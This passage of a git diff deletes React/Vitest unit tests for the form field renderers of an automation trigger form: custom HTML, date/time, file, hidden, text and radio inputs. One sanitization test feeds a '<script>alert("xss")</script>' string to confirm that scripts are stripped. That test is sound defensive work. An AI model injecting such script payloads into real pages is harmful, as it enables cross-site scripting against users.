+++ /dev/null
@@ -1,135 +0,0 @@
-import {render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {CustomHTMLFieldRenderer} from '../CustomHTMLFieldRenderer';
-import {createMockForm} from './testUtils';
-
-describe('CustomHTMLFieldRenderer', () => {
-    it('should render field description when provided', () => {
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{fieldDescription: 'Custom HTML section'}} />, {wrapper});
-
-        expect(screen.getByText('Custom HTML section')).toBeInTheDocument();
-    });
-
-    it('should not render field description when not provided', () => {
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{}} />, {wrapper});
-
-        expect(screen.queryByText('Custom HTML section')).not.toBeInTheDocument();
-    });
-
-    it('should render sanitized HTML from defaultValue', () => {
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{defaultValue: '<p>Hello World</p>'}} />, {wrapper});
-
-        expect(screen.getByText('Hello World')).toBeInTheDocument();
-    });
-
-    it('should allow safe HTML tags', () => {
-        const safeHtml = '<h1>Title</h1><p>Paragraph</p><strong>Bold</strong><em>Italic</em>';
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{defaultValue: safeHtml}} />, {wrapper});
-
-        expect(screen.getByText('Title')).toBeInTheDocument();
-        expect(screen.getByText('Paragraph')).toBeInTheDocument();
-        expect(screen.getByText('Bold')).toBeInTheDocument();
-        expect(screen.getByText('Italic')).toBeInTheDocument();
-    });
-
-    it('should render lists correctly', () => {
-        const listHtml = '<ul><li>Item 1</li><li>Item 2</li></ul>';
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{defaultValue: listHtml}} />, {wrapper});
-
-        expect(screen.getByText('Item 1')).toBeInTheDocument();
-        expect(screen.getByText('Item 2')).toBeInTheDocument();
-    });
-
-    it('should render ordered lists correctly', () => {
-        const listHtml = '<ol><li>First</li><li>Second</li></ol>';
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{defaultValue: listHtml}} />, {wrapper});
-
-        expect(screen.getByText('First')).toBeInTheDocument();
-        expect(screen.getByText('Second')).toBeInTheDocument();
-    });
-
-    it('should strip disallowed HTML tags', () => {
-        const unsafeHtml = '<script>alert("xss")</script><p>Safe content</p>';
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{defaultValue: unsafeHtml}} />, {wrapper});
-
-        expect(screen.getByText('Safe content')).toBeInTheDocument();
-        expect(screen.queryByText('alert("xss")')).not.toBeInTheDocument();
-    });
-
-    it('should strip anchor tags', () => {
-        const htmlWithLink = '<a href="https://example.com">Click me</a><p>Other content</p>';
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{defaultValue: htmlWithLink}} />, {wrapper});
-
-        expect(screen.queryByRole('link')).not.toBeInTheDocument();
-        expect(screen.getByText('Other content')).toBeInTheDocument();
-    });
-
-    it('should render empty content when defaultValue is undefined', () => {
-        const {wrapper} = createMockForm();
-
-        const {container} = render(<CustomHTMLFieldRenderer formInput={{}} />, {wrapper});
-
-        const proseDiv = container.querySelector('.prose');
-        expect(proseDiv).toBeInTheDocument();
-        expect(proseDiv?.innerHTML).toBe('');
-    });
-
-    it('should preserve class attribute on allowed tags', () => {
-        const htmlWithClass = '<p class="custom-class">Styled paragraph</p>';
-        const {wrapper} = createMockForm();
-
-        const {container} = render(<CustomHTMLFieldRenderer formInput={{defaultValue: htmlWithClass}} />, {wrapper});
-
-        const paragraph = container.querySelector('p.custom-class');
-        expect(paragraph).toBeInTheDocument();
-        expect(paragraph?.textContent).toBe('Styled paragraph');
-    });
-
-    it('should render multiple heading levels', () => {
-        const headingsHtml = '<h1>H1</h1><h2>H2</h2><h3>H3</h3><h4>H4</h4><h5>H5</h5><h6>H6</h6>';
-        const {wrapper} = createMockForm();
-
-        render(<CustomHTMLFieldRenderer formInput={{defaultValue: headingsHtml}} />, {wrapper});
-
-        expect(screen.getByRole('heading', {level: 1})).toHaveTextContent('H1');
-        expect(screen.getByRole('heading', {level: 2})).toHaveTextContent('H2');
-        expect(screen.getByRole('heading', {level: 3})).toHaveTextContent('H3');
-        expect(screen.getByRole('heading', {level: 4})).toHaveTextContent('H4');
-        expect(screen.getByRole('heading', {level: 5})).toHaveTextContent('H5');
-        expect(screen.getByRole('heading', {level: 6})).toHaveTextContent('H6');
-    });
-
-    it('should render with both description and HTML content', () => {
-        const {wrapper} = createMockForm();
-
-        render(
-            <CustomHTMLFieldRenderer
-                formInput={{
-                    defaultValue: '<p>HTML content</p>',
-                    fieldDescription: 'Description text',
-                }}
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Description text')).toBeInTheDocument();
-        expect(screen.getByText('HTML content')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/DateTimeFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/DateTimeFieldRenderer.test.tsx
deleted file mode 100644
index c47af53094d..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/DateTimeFieldRenderer.test.tsx
+++ /dev/null
@@ -1,182 +0,0 @@
-import {FieldType} from '@/pages/automation/trigger-form/TriggerForm';
-import {render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it, vi} from 'vitest';
-
-import {DateTimeFieldRenderer} from '../DateTimeFieldRenderer';
-import {createMockForm} from './testUtils';
-
-vi.mock('@/components/DatePicker/DatePicker', () => ({
-    default: ({onChange, value}: {onChange: (date: Date | undefined) => void; value?: Date}) => (
-        <input
-            data-testid="date-picker"
-            onChange={(event) => onChange(event.target.value ? new Date(event.target.value) : undefined)}
-            type="date"
-            value={value ? value.toISOString().split('T')[0] : ''}
-        />
-    ),
-}));
-
-vi.mock('@/components/DateTimePicker/DateTimePicker', () => ({
-    default: ({onChange, value}: {onChange: (date: Date | undefined) => void; value?: Date}) => (
-        <input
-            data-testid="datetime-picker"
-            onChange={(event) => onChange(event.target.value ? new Date(event.target.value) : undefined)}
-            type="datetime-local"
-            value={value ? value.toISOString().slice(0, 16) : ''}
-        />
-    ),
-}));
-
-describe('DateTimeFieldRenderer', () => {
-    it('should render with fieldLabel', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <DateTimeFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Select Date', fieldType: FieldType.DATE_PICKER}}
-                name="dateField"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Select Date')).toBeInTheDocument();
-    });
-
-    it('should render with fieldName when fieldLabel is not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <DateTimeFieldRenderer
-                form={form}
-                formInput={{fieldName: 'eventDate', fieldType: FieldType.DATE_PICKER}}
-                name="dateField"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('eventDate')).toBeInTheDocument();
-    });
-
-    it('should render with name when fieldLabel and fieldName are not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <DateTimeFieldRenderer form={form} formInput={{fieldType: FieldType.DATE_PICKER}} name="fallbackDate" />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('fallbackDate')).toBeInTheDocument();
-    });
-
-    it('should render field description when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <DateTimeFieldRenderer
-                form={form}
-                formInput={{
-                    fieldDescription: 'Select the event date',
-                    fieldLabel: 'Event Date',
-                    fieldType: FieldType.DATE_PICKER,
-                }}
-                name="eventDate"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Select the event date')).toBeInTheDocument();
-    });
-
-    it('should not render field description when not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <DateTimeFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Event Date', fieldType: FieldType.DATE_PICKER}}
-                name="eventDate"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.queryByText('Select the event date')).not.toBeInTheDocument();
-    });
-
-    it('should render DatePicker for DATE_PICKER fieldType', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <DateTimeFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Date Only', fieldType: FieldType.DATE_PICKER}}
-                name="dateOnly"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByTestId('date-picker')).toBeInTheDocument();
-        expect(screen.queryByTestId('datetime-picker')).not.toBeInTheDocument();
-    });
-
-    it('should render DateTimePicker for DATETIME_PICKER fieldType', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <DateTimeFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Date and Time', fieldType: FieldType.DATETIME_PICKER}}
-                name="dateTime"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByTestId('datetime-picker')).toBeInTheDocument();
-        expect(screen.queryByTestId('date-picker')).not.toBeInTheDocument();
-    });
-
-    it('should render DateTimePicker for non-DATE_PICKER fieldTypes', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <DateTimeFieldRenderer form={form} formInput={{fieldLabel: 'Default DateTime'}} name="defaultDateTime" />,
-            {wrapper}
-        );
-
-        expect(screen.getByTestId('datetime-picker')).toBeInTheDocument();
-    });
-
-    it('should display existing date value for DatePicker', () => {
-        const testDate = '2024-06-15T10:00:00.000Z';
-        const {form, wrapper} = createMockForm({dateField: testDate});
-
-        render(
-            <DateTimeFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Date', fieldType: FieldType.DATE_PICKER}}
-                name="dateField"
-            />,
-            {wrapper}
-        );
-
-        const datePicker = screen.getByTestId('date-picker');
-        expect(datePicker).toHaveValue('2024-06-15');
-    });
-
-    it('should display existing datetime value for DateTimePicker', () => {
-        const testDateTime = '2024-06-15T14:30:00.000Z';
-        const {form, wrapper} = createMockForm({dateTimeField: testDateTime});
-
-        render(
-            <DateTimeFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'DateTime', fieldType: FieldType.DATETIME_PICKER}}
-                name="dateTimeField"
-            />,
-            {wrapper}
-        );
-
-        const dateTimePicker = screen.getByTestId('datetime-picker');
-        expect(dateTimePicker).toHaveValue('2024-06-15T14:30');
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/FileInputFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/FileInputFieldRenderer.test.tsx
deleted file mode 100644
index d8b022d5775..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/FileInputFieldRenderer.test.tsx
+++ /dev/null
@@ -1,118 +0,0 @@
-import {fireEvent, render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {FileInputFieldRenderer} from '../FileInputFieldRenderer';
-import {createMockForm} from './testUtils';
-
-describe('FileInputFieldRenderer', () => {
-    it('should render with fieldLabel', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{fieldLabel: 'Upload File'}} name="fileUpload" />, {
-            wrapper,
-        });
-
-        expect(screen.getByText('Upload File')).toBeInTheDocument();
-    });
-
-    it('should render with fieldName when fieldLabel is not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{fieldName: 'documentFile'}} name="fileUpload" />, {
-            wrapper,
-        });
-
-        expect(screen.getByText('documentFile')).toBeInTheDocument();
-    });
-
-    it('should render with name when fieldLabel and fieldName are not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{}} name="fallbackFile" />, {wrapper});
-
-        expect(screen.getByText('fallbackFile')).toBeInTheDocument();
-    });
-
-    it('should render field description when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <FileInputFieldRenderer
-                form={form}
-                formInput={{fieldDescription: 'Please upload a PDF document', fieldLabel: 'Document'}}
-                name="document"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Please upload a PDF document')).toBeInTheDocument();
-    });
-
-    it('should not render field description when not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{fieldLabel: 'Document'}} name="document" />, {wrapper});
-
-        expect(screen.queryByText('Please upload a PDF document')).not.toBeInTheDocument();
-    });
-
-    it('should render file input element', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{fieldLabel: 'File'}} name="file" />, {wrapper});
-
-        const fileInput = document.querySelector('input[type="file"]');
-        expect(fileInput).toBeInTheDocument();
-    });
-
-    it('should have correct id attribute on file input', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{fieldLabel: 'Upload'}} name="uploadField" />, {wrapper});
-
-        const fileInput = document.querySelector('input[type="file"]#uploadField');
-        expect(fileInput).toBeInTheDocument();
-    });
-
-    it('should update form value when file is selected', () => {
-        const {form, formRef, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{fieldLabel: 'File'}} name="fileField" />, {wrapper});
-
-        const file = new File(['test content'], 'test.txt', {type: 'text/plain'});
-        const fileInput = document.querySelector('input[type="file"]') as HTMLInputElement;
-
-        fireEvent.change(fileInput, {target: {files: [file]}});
-
-        const formValue = formRef.current?.getValues('fileField');
-        expect(formValue).toBeInstanceOf(File);
-        expect((formValue as File).name).toBe('test.txt');
-    });
-
-    it('should set form value to null when file selection is cancelled', () => {
-        const {form, formRef, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{fieldLabel: 'File'}} name="fileField" />, {wrapper});
-
-        const fileInput = document.querySelector('input[type="file"]') as HTMLInputElement;
-
-        fireEvent.change(fileInput, {target: {files: null}});
-
-        expect(formRef.current?.getValues('fileField')).toBeNull();
-    });
-
-    it('should handle different file types', () => {
-        const {form, formRef, wrapper} = createMockForm();
-
-        render(<FileInputFieldRenderer form={form} formInput={{fieldLabel: 'Image'}} name="imageField" />, {wrapper});
-
-        const imageFile = new File(['image data'], 'photo.png', {type: 'image/png'});
-        const fileInput = document.querySelector('input[type="file"]') as HTMLInputElement;
-
-        fireEvent.change(fileInput, {target: {files: [imageFile]}});
-
-        const formValue = formRef.current?.getValues('imageField') as File;
-        expect(formValue.name).toBe('photo.png');
-        expect(formValue.type).toBe('image/png');
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/HiddenFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/HiddenFieldRenderer.test.tsx
deleted file mode 100644
index c309f4e55a0..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/HiddenFieldRenderer.test.tsx
+++ /dev/null
@@ -1,95 +0,0 @@
-import {render} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {HiddenFieldRenderer} from '../HiddenFieldRenderer';
-import {createMockForm} from './testUtils';
-
-describe('HiddenFieldRenderer', () => {
-    it('should render a hidden input element', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<HiddenFieldRenderer form={form} formInput={{}} name="hiddenField" />, {wrapper});
-
-        const hiddenInput = document.querySelector('input[type="hidden"]');
-        expect(hiddenInput).toBeInTheDocument();
-    });
-
-    it('should use form field value when available', () => {
-        const {form, wrapper} = createMockForm({hiddenField: 'form-value'});
-
-        render(<HiddenFieldRenderer form={form} formInput={{}} name="hiddenField" />, {wrapper});
-
-        const hiddenInput = document.querySelector('input[type="hidden"]') as HTMLInputElement;
-        expect(hiddenInput.value).toBe('form-value');
-    });
-
-    it('should use defaultValue when form field value is undefined', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<HiddenFieldRenderer form={form} formInput={{defaultValue: 'default-value'}} name="hiddenField" />, {
-            wrapper,
-        });
-
-        const hiddenInput = document.querySelector('input[type="hidden"]') as HTMLInputElement;
-        expect(hiddenInput.value).toBe('default-value');
-    });
-
-    it('should prefer form field value over defaultValue', () => {
-        const {form, wrapper} = createMockForm({hiddenField: 'form-value'});
-
-        render(<HiddenFieldRenderer form={form} formInput={{defaultValue: 'default-value'}} name="hiddenField" />, {
-            wrapper,
-        });
-
-        const hiddenInput = document.querySelector('input[type="hidden"]') as HTMLInputElement;
-        expect(hiddenInput.value).toBe('form-value');
-    });
-
-    it('should render empty string when both form value and defaultValue are undefined', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<HiddenFieldRenderer form={form} formInput={{}} name="hiddenField" />, {wrapper});
-
-        const hiddenInput = document.querySelector('input[type="hidden"]') as HTMLInputElement;
-        expect(hiddenInput.value).toBe('');
-    });
-
-    it('should convert numeric form value to string', () => {
-        const {form, wrapper} = createMockForm({hiddenField: 12345});
-
-        render(<HiddenFieldRenderer form={form} formInput={{}} name="hiddenField" />, {wrapper});
-
-        const hiddenInput = document.querySelector('input[type="hidden"]') as HTMLInputElement;
-        expect(hiddenInput.value).toBe('12345');
-    });
-
-    it('should use string defaultValue', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<HiddenFieldRenderer form={form} formInput={{defaultValue: '99999'}} name="hiddenField" />, {wrapper});
-
-        const hiddenInput = document.querySelector('input[type="hidden"]') as HTMLInputElement;
-        expect(hiddenInput.value).toBe('99999');
-    });
-
-    it('should handle boolean form value', () => {
-        const {form, wrapper} = createMockForm({hiddenField: true});
-
-        render(<HiddenFieldRenderer form={form} formInput={{}} name="hiddenField" />, {wrapper});
-
-        const hiddenInput = document.querySelector('input[type="hidden"]') as HTMLInputElement;
-        expect(hiddenInput.value).toBe('true');
-    });
-
-    it('should not be visible to the user', () => {
-        const {form, wrapper} = createMockForm({hiddenField: 'secret'});
-
-        const {container} = render(<HiddenFieldRenderer form={form} formInput={{}} name="hiddenField" />, {wrapper});
-
-        const hiddenInput = container.querySelector('input[type="hidden"]');
-        expect(hiddenInput).toBeInTheDocument();
-
-        const visibleElements = container.querySelectorAll('label, p, span:not(:empty)');
-        expect(visibleElements.length).toBe(0);
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/InputFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/InputFieldRenderer.test.tsx
deleted file mode 100644
index 20f4f2fe091..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/InputFieldRenderer.test.tsx
+++ /dev/null
@@ -1,200 +0,0 @@
-import {FieldType} from '@/pages/automation/trigger-form/TriggerForm';
-import {fireEvent, render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {InputFieldRenderer} from '../InputFieldRenderer';
-import {createMockForm} from './testUtils';
-
-describe('InputFieldRenderer', () => {
-    it('should render with fieldLabel', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<InputFieldRenderer form={form} formInput={{fieldLabel: 'Username'}} name="username" />, {wrapper});
-
-        expect(screen.getByText('Username')).toBeInTheDocument();
-    });
-
-    it('should render with fieldName when fieldLabel is not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<InputFieldRenderer form={form} formInput={{fieldName: 'userField'}} name="username" />, {wrapper});
-
-        expect(screen.getByText('userField')).toBeInTheDocument();
-    });
-
-    it('should render with name when fieldLabel and fieldName are not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<InputFieldRenderer form={form} formInput={{}} name="fallbackInput" />, {wrapper});
-
-        expect(screen.getByText('fallbackInput')).toBeInTheDocument();
-    });
-
-    it('should render field description when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <InputFieldRenderer
-                form={form}
-                formInput={{fieldDescription: 'Enter your full name', fieldLabel: 'Name'}}
-                name="name"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Enter your full name')).toBeInTheDocument();
-    });
-
-    it('should not render field description when not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<InputFieldRenderer form={form} formInput={{fieldLabel: 'Name'}} name="name" />, {wrapper});
-
-        expect(screen.queryByText('Enter your full name')).not.toBeInTheDocument();
-    });
-
-    it('should render text input by default', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<InputFieldRenderer form={form} formInput={{fieldLabel: 'Text'}} name="textField" />, {wrapper});
-
-        const input = screen.getByRole('textbox');
-        expect(input).toHaveAttribute('type', 'text');
-    });
-
-    it('should render email input for EMAIL_INPUT fieldType', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <InputFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Email', fieldType: FieldType.EMAIL_INPUT}}
-                name="email"
-            />,
-            {wrapper}
-        );
-
-        const input = document.querySelector('input[type="email"]');
-        expect(input).toBeInTheDocument();
-    });
-
-    it('should render number input for NUMBER_INPUT fieldType', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <InputFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Age', fieldType: FieldType.NUMBER_INPUT}}
-                name="age"
-            />,
-            {wrapper}
-        );
-
-        const input = screen.getByRole('spinbutton');
-        expect(input).toHaveAttribute('type', 'number');
-    });
-
-    it('should render password input for PASSWORD_INPUT fieldType', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <InputFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Password', fieldType: FieldType.PASSWORD_INPUT}}
-                name="password"
-            />,
-            {wrapper}
-        );
-
-        const input = document.querySelector('input[type="password"]');
-        expect(input).toBeInTheDocument();
-    });
-
-    it('should render text input for INPUT fieldType', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <InputFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'General', fieldType: FieldType.INPUT}}
-                name="general"
-            />,
-            {wrapper}
-        );
-
-        const input = screen.getByRole('textbox');
-        expect(input).toHaveAttribute('type', 'text');
-    });
-
-    it('should display placeholder when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <InputFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Search', placeholder: 'Type to search...'}}
-                name="search"
-            />,
-            {wrapper}
-        );
-
-        const input = screen.getByRole('textbox');
-        expect(input).toHaveAttribute('placeholder', 'Type to search...');
-    });
-
-    it('should update form value when typing', () => {
-        const {form, formRef, wrapper} = createMockForm();
-
-        render(<InputFieldRenderer form={form} formInput={{fieldLabel: 'Name'}} name="name" />, {wrapper});
-
-        const input = screen.getByRole('textbox');
-        fireEvent.change(input, {target: {value: 'John Doe'}});
-
-        expect(formRef.current?.getValues('name')).toBe('John Doe');
-    });
-
-    it('should display existing string value from form', () => {
-        const {form, wrapper} = createMockForm({name: 'Jane Doe'});
-
-        render(<InputFieldRenderer form={form} formInput={{fieldLabel: 'Name'}} name="name" />, {wrapper});
-
-        const input = screen.getByRole('textbox');
-        expect(input).toHaveValue('Jane Doe');
-    });
-
-    it('should display existing numeric value from form', () => {
-        const {form, wrapper} = createMockForm({age: 25});
-
-        render(
-            <InputFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Age', fieldType: FieldType.NUMBER_INPUT}}
-                name="age"
-            />,
-            {wrapper}
-        );
-
-        const input = screen.getByRole('spinbutton');
-        expect(input).toHaveValue(25);
-    });
-
-    it('should display empty string for non-string/non-number values', () => {
-        const {form, wrapper} = createMockForm({field: {complex: 'object'}});
-
-        render(<InputFieldRenderer form={form} formInput={{fieldLabel: 'Field'}} name="field" />, {wrapper});
-
-        const input = screen.getByRole('textbox');
-        expect(input).toHaveValue('');
-    });
-
-    it('should handle undefined fieldType gracefully', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<InputFieldRenderer form={form} formInput={{fieldLabel: 'Undefined Type'}} name="undefinedType" />, {
-            wrapper,
-        });
-
-        const input = screen.getByRole('textbox');
-        expect(input).toHaveAttribute('type', 'text');
-    });
-});
diff --git a/client/src/pages/automation/trigger-form/components/tests/RadioFieldRenderer.test.tsx b/client/src/pages/automation/trigger-form/components/tests/RadioFieldRenderer.test.tsx
deleted file mode 100644
index 590c17cf78f..00000000000
--- a/client/src/pages/automation/trigger-form/components/tests/RadioFieldRenderer.test.tsx
+++ /dev/null
@@ -1,240 +0,0 @@
-import {fireEvent, render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {RadioFieldRenderer} from '../RadioFieldRenderer';
-import {createMockForm} from './testUtils';
-
-const mockOptions = [
-    {label: 'Option A', value: 'optionA'},
-    {label: 'Option B', value: 'optionB'},
-    {label: 'Option C', value: 'optionC'},
-];
-
-describe('RadioFieldRenderer', () => {
-    it('should render with fieldLabel', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Select Option', fieldOptions: mockOptions}}
-                name="selection"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Select Option')).toBeInTheDocument();
-    });
-
-    it('should render with fieldName when fieldLabel is not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldName: 'choiceField', fieldOptions: mockOptions}}
-                name="selection"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('choiceField')).toBeInTheDocument();
-    });
-
-    it('should render with name when fieldLabel and fieldName are not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<RadioFieldRenderer form={form} formInput={{fieldOptions: mockOptions}} name="fallbackRadio" />, {
-            wrapper,
-        });
-
-        expect(screen.getByText('fallbackRadio')).toBeInTheDocument();
-    });
-
-    it('should render field description when provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{
-                    fieldDescription: 'Choose your preferred option',
-                    fieldLabel: 'Preference',
-                    fieldOptions: mockOptions,
-                }}
-                name="preference"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Choose your preferred option')).toBeInTheDocument();
-    });
-
-    it('should not render field description when not provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Preference', fieldOptions: mockOptions}}
-                name="preference"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.queryByText('Choose your preferred option')).not.toBeInTheDocument();
-    });
-
-    it('should render all radio options', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Options', fieldOptions: mockOptions}}
-                name="options"
-            />,
-            {wrapper}
-        );
-
-        expect(screen.getByText('Option A')).toBeInTheDocument();
-        expect(screen.getByText('Option B')).toBeInTheDocument();
-        expect(screen.getByText('Option C')).toBeInTheDocument();
-    });
-
-    it('should render radio buttons for each option', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Options', fieldOptions: mockOptions}}
-                name="options"
-            />,
-            {wrapper}
-        );
-
-        const radioButtons = screen.getAllByRole('radio');
-        expect(radioButtons).toHaveLength(3);
-    });
-
-    it('should update form value when radio option is selected', () => {
-        const {form, formRef, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Options', fieldOptions: mockOptions}}
-                name="selectedOption"
-            />,
-            {wrapper}
-        );
-
-        const optionB = screen.getByRole('radio', {name: 'Option B'});
-        fireEvent.click(optionB);
-
-        expect(formRef.current?.getValues('selectedOption')).toBe('optionB');
-    });
-
-    it('should reflect selected value from form', () => {
-        const {form, wrapper} = createMockForm({selectedOption: 'optionB'});
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Options', fieldOptions: mockOptions}}
-                name="selectedOption"
-            />,
-            {wrapper}
-        );
-
-        const optionB = screen.getByRole('radio', {name: 'Option B'});
-        expect(optionB).toBeChecked();
-    });
-
-    it('should render empty list when no options provided', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(<RadioFieldRenderer form={form} formInput={{fieldLabel: 'Empty Options'}} name="emptyOptions" />, {
-            wrapper,
-        });
-
-        const radioButtons = screen.queryAllByRole('radio');
-        expect(radioButtons).toHaveLength(0);
-    });
-
-    it('should render empty list when fieldOptions is undefined', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'No Options', fieldOptions: undefined}}
-                name="noOptions"
-            />,
-            {wrapper}
-        );
-
-        const radioButtons = screen.queryAllByRole('radio');
-        expect(radioButtons).toHaveLength(0);
-    });
-
-    it('should have correct id for each radio option', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Options', fieldOptions: mockOptions}}
-                name="radioGroup"
-            />,
-            {wrapper}
-        );
-
-        expect(document.getElementById('radioGroup-optionA')).toBeInTheDocument();
-        expect(document.getElementById('radioGroup-optionB')).toBeInTheDocument();
-        expect(document.getElementById('radioGroup-optionC')).toBeInTheDocument();
-    });
-
-    it('should allow only one option to be selected', () => {
-        const {form, wrapper} = createMockForm();
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Options', fieldOptions: mockOptions}}
-                name="singleSelect"
-            />,
-            {wrapper}
-        );
-
-        const optionA = screen.getByRole('radio', {name: 'Option A'});
-        const optionB = screen.getByRole('radio', {name: 'Option B'});
-
-        fireEvent.click(optionA);
-        expect(optionA).toBeChecked();
-        expect(optionB).not.toBeChecked();
-
-        fireEvent.click(optionB);
-        expect(optionA).not.toBeChecked();
-        expect(optionB).toBeChecked();
-    });
-
-    it('should handle non-string form values gracefully', () => {
-        const {form, wrapper} = createMockForm({radioField: 123});
-
-        render(
-            <RadioFieldRenderer
-                form={form}
-                formInput={{fieldLabel: 'Options', fieldOptions: mockOptions}}
-                name="radioField"
-            />,
-            {wrapper}
-        );
-
-        const radioButtons = screen.getAllByRole('radio');
-        radioButtons.forEach((radio) => {
